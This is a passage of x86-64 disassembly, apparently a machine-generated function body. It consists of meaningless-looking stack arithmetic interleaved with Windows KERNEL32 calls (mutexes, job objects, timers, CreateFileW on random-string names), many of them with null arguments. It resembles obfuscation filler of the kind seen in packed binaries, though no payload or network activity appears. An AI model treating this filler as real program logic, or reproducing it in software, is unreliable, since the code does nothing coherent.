mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
lea rax, [rsp + 0x76b0]
mov qword [rsp + 0xa068], rax
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c98]
add eax, ecx
mov word [rsp + 0x1c78], ax
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cac], ax
mov rax, qword [rsp + 0x9d98]
mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0x98b0]
mov eax, dword [rax]
mov ecx, dword [0x14022b878]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e6c], eax
mov rax, qword [rsp + 0x9ff8]
movzx eax, byte [rax]
mov byte [rsp + 0x359], al
mov rax, qword [rsp + 0x9f78]
mov rcx, qword [rsp + 0x9c80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ca8], rax
lea rax, [rsp + 0x1c9c]
mov qword [0x14022b938], rax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc0]
and eax, ecx
mov word [rsp + 0x1cac], ax
movzx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ca], al
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3dc8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x45d8], eax
mov rax, qword [rsp + 0x9cd0]
mov rax, qword [rax]
mov qword [rsp + 0xa078], rax
mov rax, qword [rsp + 0x9c98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x358]
shl eax, cl
mov rcx, qword [rsp + 0x9ee8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a00]
mov rcx, qword [rsp + 0x7450]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9cc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cc0]
mov rcx, qword [rsp + 0xa028]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4270], eax
movsx eax, word [0x14022b828]
mov rcx, qword [rsp + 0x9f40]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17d8], ax
movzx eax, word [rsp + 0x1ce4]
mov rcx, qword [rsp + 0x9c10]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov qword [rsp + 0xa080], rax
mov rax, qword [0x14022b8c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cac], ax
mov rax, qword [rsp + 0x96a8]
movzx eax, word [rax]
mov word [rsp + 0x1d0c], ax
mov rax, qword [0x14022b840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9828]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
mov r9d, 0xcc6
xor r8d, r8d
lea rdx, [rsp + 0x9f50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x45e8], eax
mov eax, dword [rsp + 0x437c]
mov ecx, dword [rsp + 0x3b40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e6c], eax
mov rax, qword [rsp + 0x9f88]
mov rcx, qword [rsp + 0x9b58]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9430], rax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2c3]
and eax, ecx
mov byte [rsp + 0x186], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x447e
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478c], eax
mov rax, qword [rsp + 0xa000]
movzx eax, word [rax]
mov word [rsp + 0x1d10], ax
mov rax, qword [rsp + 0x9b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a80]
sub rcx, rax
mov rax, rcx
mov qword [0x140229f70], rax
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x344]
sar eax, cl
mov rcx, qword [rsp + 0x9e10]
mov byte [rcx], al
mov rax, qword [rsp + 0x99c8]
mov rcx, qword [rsp + 0x9b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3e9c], eax
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0x9c00]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x156c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa088], rax
movzx eax, word [rsp + 0x1c8c]
movzx ecx, word [rsp + 0x19bc]
or eax, ecx
mov word [rsp + 0x1d00], ax
mov eax, dword [rsp + 0x4754]
mov dword [rsp + 0x47b4], eax
mov rax, qword [rsp + 0x9730]
mov rcx, qword [rsp + 0x9ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0x9cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ea8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa050]
movzx eax, word [rax]
mov word [rsp + 0x1d14], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx eax, word [rsp + 0x15f8]
mov rcx, qword [rsp + 0x9f98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14022b908]
mov word [rcx], ax
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7848]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [0x14022b888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fb8]
mov qword [rsp + 0xa090], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa090]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7f10], rax
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0x8d08]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1cf4]
mov rcx, qword [rsp + 0x9f40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17fc], ax
mov r9d, 0x2613
xor r8d, r8d
lea rdx, [rsp + 0x9b88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4798], eax
mov rax, qword [rsp + 0x9ef0]
mov rax, qword [rax]
mov qword [rsp + 0xa098], rax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4780]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9d60]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x34a]
mov rcx, qword [rsp + 0x9c98]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x274], al
mov rax, qword [rsp + 0x9fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x354]
sub eax, ecx
mov byte [rsp + 0x352], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xc64f
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4724], eax
mov eax, dword [rsp + 0x429c]
mov dword [rsp + 0x47b8], eax
lea rcx, [rsp + 0xa0a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x1ccc]
mov qword [0x14022b940], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movzx eax, word [rsp + 0x1384]
mov rcx, qword [rsp + 0xa000]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ce4]
or eax, ecx
mov word [rsp + 0x1cc4], ax
mov rax, qword [rsp + 0x9780]
mov qword [rsp + 0xa0a8], rax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9f60]
mov qword [rsp + 0xa0b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa0b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3e6c], eax
mov r9d, 0x21a5
xor r8d, r8d
lea rdx, [rsp + 0x9ef8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46f0], eax
lea rax, [rsp + 0x34a]
mov qword [rsp + 0xa0b8], rax
mov rax, qword [rsp + 0x9bc0]
movzx ecx, al
mov rax, qword [rsp + 0x9b58]
shr rax, cl
mov qword [rsp + 0x9e58], rax
movsx eax, word [rsp + 0x1400]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c00]
mov word [rcx], ax
lea rdx, [rsp + 0x4708]
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47bc], eax
lea rax, [rsp + 0x1ce0]
mov qword [rsp + 0xa0c0], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9eb8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x25b2
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47bc], eax
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
sub eax, ecx
mov rcx, qword [rsp + 0xa018]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.FAfnbqBdlJiN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa0c8], rax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa068]
mov qword [rsp + 0xa0d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa0d0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9420], rax
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0x9e38]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7540], rax
mov eax, dword [rsp + 0x437c]
mov ecx, dword [rsp + 0x4374]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x479c], eax
mov rax, qword [rsp + 0x9d70]
movzx eax, byte [rax]
mov byte [rsp + 0x35a], al
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4758], eax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x344]
and eax, ecx
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0x9758]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa098], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9e47
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46ec], eax
mov rcx, qword [rsp + 0x9b88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x7b8]
shl eax, cl
mov word [0x14022b8d4], ax
movsx eax, word [rsp + 0x1518]
movsx ecx, word [rsp + 0x1c90]
or eax, ecx
mov rcx, qword [rsp + 0x9f90]
mov word [rcx], ax
lea rax, [rsp + 0x1cbc]
mov qword [rsp + 0xa0d8], rax
lea rcx, [rsp + 0x9b70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1cfc]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1cac], ax
mov rax, qword [rsp + 0x7450]
mov qword [rsp + 0xa0e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.ZeoWoEqwymz22Et3fKF8jx4ye3uBHb
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa0e8], rax
mov rax, qword [rsp + 0x96e0]
mov rcx, qword [rsp + 0x9f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x447c], eax
lea rax, [rsp + 0x35a]
mov qword [rsp + 0xa0f0], rax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cb8]
add eax, ecx
mov word [rsp + 0x1c88], ax
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x163c]
and eax, ecx
mov rcx, qword [rsp + 0x9e90]
mov word [rcx], ax
lea rax, [rsp + 0x8d08]
mov qword [0x14022b948], rax
mov rax, qword [rsp + 0x9fb0]
mov rcx, qword [rsp + 0x8ca8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x83f0], rax
mov rax, qword [rsp + 0x9fb0]
mov rcx, qword [rsp + 0x8640]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d38]
mov rax, qword [rax]
mov qword [rsp + 0xa0f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0x1ce0]
sar eax, cl
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x1ca]
add eax, ecx
mov rcx, qword [rsp + 0x98f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4788]
mov dword [rsp + 0x47c0], eax
movsx eax, byte [rsp + 0x2c3]
movsx ecx, byte [rsp + 0x133]
and eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d58], rax
lea rax, [rsp + 0x4278]
mov qword [0x14022b950], rax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
movsx ecx, word [0x14022b828]
or eax, ecx
mov word [rsp + 0x1c9c], ax
lea rdx, [rsp + 0x47c4]
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4738], eax
movsx eax, word [rsp + 0x1394]
movsx ecx, word [rsp + 0x1c94]
shl eax, cl
mov word [rsp + 0x1ca0], ax
mov rax, qword [rsp + 0x9da0]
movzx eax, word [rax]
mov word [rsp + 0x1d18], ax
mov rax, qword [0x14022b888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
mov qword [rsp + 0xa100], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa100]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
lea rax, [rsp + 0x47ac]
mov qword [rsp + 0xa108], rax
mov rax, qword [rsp + 0x9d70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x34d]
imul eax, ecx
mov byte [rsp + 0x346], al
lea rax, [rsp + 0x7dd0]
mov qword [rsp + 0xa110], rax
mov rax, qword [0x14022b940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa2c]
sub eax, ecx
mov word [rsp + 0x1ca0], ax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov word [0x14022b958], ax
mov rax, qword [rsp + 0x9d90]
mov rcx, qword [rsp + 0x8ca8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9de8], rax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x87c]
sub eax, ecx
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x99c8]
mov ecx, dword [rsp + 0x47c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4630], eax
movzx eax, byte [0x140229f1d]
mov byte [rsp + 0x35b], al
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9990]
mov rcx, qword [rsp + 0x9f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4774], eax
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d00]
mov qword [rsp + 0xa118], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa118]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7e28], rax
lea rax, [0x14022b811]
mov qword [rsp + 0xa120], rax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cb8]
add eax, ecx
mov word [rsp + 0x1cdc], ax
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cf8]
sub eax, ecx
mov rcx, qword [0x14022b8c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa068]
mov rax, qword [rax]
mov qword [rsp + 0xa128], rax
lea rdx, [rsp + 0x47c8]
mov rcx, qword [rsp + 0xa0e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e8], eax
mov rax, qword [rsp + 0x9fb8]
mov rcx, qword [rsp + 0x7898]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9df0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17fc]
xor eax, ecx
mov word [rsp + 0x1394], ax
mov rax, qword [0x14022b8b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
or eax, ecx
mov word [rsp + 0x884], ax
mov eax, dword [rsp + 0x4778]
movzx ecx, al
mov eax, dword [rsp + 0x475c]
shl eax, cl
mov dword [rsp + 0x4780], eax
lea rax, [0x14022b808]
mov qword [rsp + 0xa130], rax
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0xa0]
add eax, ecx
mov rcx, qword [rsp + 0xa0b8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x9b28]
movzx ecx, al
mov rax, qword [rsp + 0x9d90]
sar rax, cl
mov qword [rsp + 0x8ca8], rax
mov r9d, 0xd32
xor r8d, r8d
lea rdx, [rsp + 0xa088]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47c4], eax
lea rax, [rsp + 0x17fc]
mov qword [0x14022b960], rax
movzx eax, word [rsp + 0x1ca8]
mov word [rsp + 0x1d1c], ax
movzx eax, byte [rsp + 0x147]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4674]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b5c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x9c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ca8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0a8], rax
mov rax, qword [rsp + 0x9cf8]
movzx eax, byte [rax]
mov byte [rsp + 0x35c], al
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x6f80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f70], rax
mov rax, qword [rsp + 0xa028]
mov ecx, dword [rsp + 0x3e6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47ac], eax
movzx eax, word [rsp + 0x1d0c]
mov word [rsp + 0x1d20], ax
movzx eax, word [rsp + 0x1cbc]
movzx ecx, word [rsp + 0x1d18]
and eax, ecx
mov rcx, qword [0x14022b908]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.F63gEVKNjHHmi79
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa138], rax
mov rax, qword [rsp + 0x9f68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa068]
mov qword [rsp + 0xa140], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa140]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9b28], rax
lea rax, [rsp + 0x968]
mov qword [rsp + 0xa148], rax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022b940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa050]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1d20], ax
mov rax, qword [rsp + 0x9bf8]
mov rcx, qword [rsp + 0x9198]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98e0]
mov qword [rcx], rax
lea rax, [rsp + 0x8500]
mov qword [rsp + 0xa150], rax
mov rax, qword [rsp + 0x9c20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9b20]
mov byte [rcx], al
lea rax, [rsp + 0x4754]
mov qword [rsp + 0xa158], rax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b78]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9e90]
mov word [rcx], ax
mov rax, qword [0x14022b868]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14022b848], rax
mov rax, qword [rsp + 0x9c68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9e10]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x354], al
lea rax, [rsp + 0x47a4]
mov qword [rsp + 0xa160], rax
lea rdx, [rsp + 0x4708]
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x470c], eax
mov rax, qword [rsp + 0x9f90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cb0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c70]
mov word [rcx], ax
lea rax, [rsp + 0x1384]
mov qword [rsp + 0xa168], rax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4614], eax
lea rax, [rsp + 0x359]
mov qword [rsp + 0xa170], rax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x9a00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d98], rax
movsx eax, word [rsp + 0x7b8]
movsx ecx, word [0x14022b820]
and eax, ecx
mov word [rsp + 0xecc], ax
lea rcx, [rsp + 0xa178]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9da0]
movzx eax, word [rax]
mov word [0x14022b968], ax
lea rax, [rsp + 0x8640]
mov qword [rsp + 0xa180], rax
mov rax, qword [rsp + 0x9de8]
mov rcx, qword [rsp + 0x96d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9eb0]
mov rax, qword [rax]
mov rcx, qword [0x14022b840]
mov qword [rsp + 0xa188], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa188]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8360], rax
mov r9d, 0x1868
xor r8d, r8d
lea rdx, [rsp + 0x9b88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4644], eax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9b80]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9c70]
mov word [rcx], ax
mov rax, qword [rsp + 0xa150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a00]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7450], rax
lea rax, [rsp + 0x479c]
mov qword [rsp + 0xa190], rax
mov rax, qword [rsp + 0x9d70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x353]
shl eax, cl
mov rcx, qword [rsp + 0x9fa8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2a0]
mov byte [rsp + 0x35d], al
mov rax, qword [rsp + 0x9c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x460c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x99c8]
mov dword [rcx], eax
lea rax, [rsp + 0x1d04]
mov qword [0x14022b970], rax
movzx eax, word [rsp + 0x1cbc]
movzx ecx, word [0x14022b914]
sub eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov word [rcx], ax
lea rax, [rsp + 0x1660]
mov qword [rsp + 0xa198], rax
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0xa078]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d58], rax
lea rax, [rsp + 0x7dd0]
mov qword [rsp + 0xa1a0], rax
mov eax, dword [rsp + 0x4270]
movzx ecx, al
mov eax, dword [rsp + 0x47ac]
shr eax, cl
mov dword [rsp + 0x4614], eax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x343]
movsx ecx, byte [rsp + 0x353]
and eax, ecx
mov rcx, qword [rsp + 0x9e28]
mov byte [rcx], al
lea rax, [rsp + 0x1394]
mov qword [rsp + 0xa1a8], rax
mov rax, qword [rsp + 0x9e40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x884], ax
mov r9d, 0x2626
xor r8d, r8d
lea rdx, [rsp + 0x9d50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47cc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0x9f78]
mov rcx, qword [rsp + 0x9ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140229f20], rax
lea rcx, [rsp + 0x9d30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1cbc]
mov qword [rsp + 0xa1b0], rax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0x9ca0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9fb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8f08], rax
mov rax, qword [rsp + 0x9fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f18]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9c08]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9b98], rax
mov rcx, qword [rsp + 0xa088]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x8f]
mov qword [rsp + 0xa1b8], rax
mov rax, qword [rsp + 0x9be0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9c88]
mov qword [rsp + 0xa1c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa1c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x45c8], eax
mov eax, dword [rsp + 0x437c]
mov dword [rsp + 0x47d0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.HtED70IpFV1aPF64B_si097veAD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa1c8], rax
mov rax, qword [rsp + 0x9c00]
